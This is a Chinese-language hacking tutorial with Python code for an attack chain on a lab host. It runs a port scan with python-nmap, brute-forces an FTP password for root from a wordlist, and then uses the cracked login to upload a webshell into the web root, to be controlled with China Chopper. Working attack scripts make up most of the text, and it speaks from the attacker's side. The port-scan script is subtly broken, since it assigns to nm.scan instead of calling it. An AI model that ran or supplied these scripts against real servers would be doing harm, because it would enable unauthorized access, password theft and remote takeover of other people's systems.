一、端口扫描
首先安装nmap与python-nmap模块。从http://nmap.org/download.html网站下载nmap安装文件。从http://xael.org/norman/python/python-nmap网站下载python-nmap模块安装文件。
1.代码。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import os
import nmap
import socket
nm = nmap.PortScanner()
nm.scan = ('192.168.139.128', '1-1024')
for host in nm.all_hosts():
print('-------------------------')
print('host : {0} ({1})'.format(host, nm[host].hostname()))
print('State : {0}'.format(nm[host].state()))
for proto in nm[host].all_protocols():
print('--------------')
print('Protocol : {0}'.format(proto))
lport = list(nm[host][proto].keys())
lport.sort()
for port in lport:
print('port : {0}\tstate : {1}'.format(port, nm[host][proto][port]))
print('----------------------------')
端口扫描原理是黑客pc向服务器pc发送多种协议的数据包,观察服务器pc的响应行为。若服务器pc给黑客pc返回某类数据包则证明服务器pc开放支持这种协议的端口!出了用python代码调用nmap扫描端口外,你可以直接在命令行使用nmap,这样更方便快捷!
nmap命令及参数
nmap:
-sS 半开扫描TCP和SYN扫描
-sT 完全TCP链接扫描
-sU UDP扫描
-PS sym包探测(防火墙探测)
-PA ack包探测 (防火墙探测)
-PN 不ping
-n 不dns解析
-A -O和-sV
-O 操作系统识别
-sV 服务器版本信息(banner)
-P 端口扫描
-T 设置时间级别(0-5)
-iL 导入扫描将结果
-oG 输出扫描结果
2.测试。
使用Windows对Linux主机进行端口扫描。
查看服务器操作系统。
二、爆破ftp密码。
通过端口扫描我们看出此服务器开放21端口用来支持ftp协议(文件传输协议),ftp服务后台设置中通常不会检查密码输错次数,所以我们可以使用python提供的ftplib模块,爆破ftp密码。假设用户名已知,实际大多数用户都会使用默认的root用户名!
1.代码。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP
word = open('C:\Users\lenovo\Desktop\w.txt','r')
user_login = "root"
def getPassword(password):
try:
ftp = FTP("192.168.204.129")
ftp.login(user_login,password)
print("user password:",password)
return True
except Exception:
return False
passwords = word.readlines()
for password in passwords:
password = password.strip()
print("test password:",password)
if(getPassword(password)):
break
word.close()
首先需要创建一个w.txt字典文件,打开w.txt文件,声明getPassword()函数,用于连接FTP服务器,并尝试登录,使用root用户名和字典密码登录。若正常登录,则执行下一条语句,否则触发异常!再使用for循环遍历字典,调用getPassword()函数,若正常登录则返回True,结束循环!
2.测试。
爆破Linux ftp服务密码。
三、上传webshell。
使用爆破出来的密码登录ftp服务器,上传webshell。功能强大的webshell可以实现远程控制主机。
1.代码。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP
apacheDir = "html"
serverName = '192.168.204.129'
serverID = 'root'
serverPW = 'toor'
ftp = FTP(serverName,serverID,serverPW)
ftp.cwd("/var/www/html/")
fp = open("C:\Users\lenovo\Desktop\webshell.php","rb")
ftp.storbinary("STOR webshell.php",fp)
fp.close()
ftp.quit()
首先登录ftp服务器,再转到web安装目录,然后打开webshell文件,最后使用ftp.storbinary(“STOR webshell.php”,fp)上传webshell文件到web安装目录!
2.测试。
运行代码上传文件
在服务器端进入web安装目录,可以看到webshell文件成功上传,然后使用中国菜刀连接。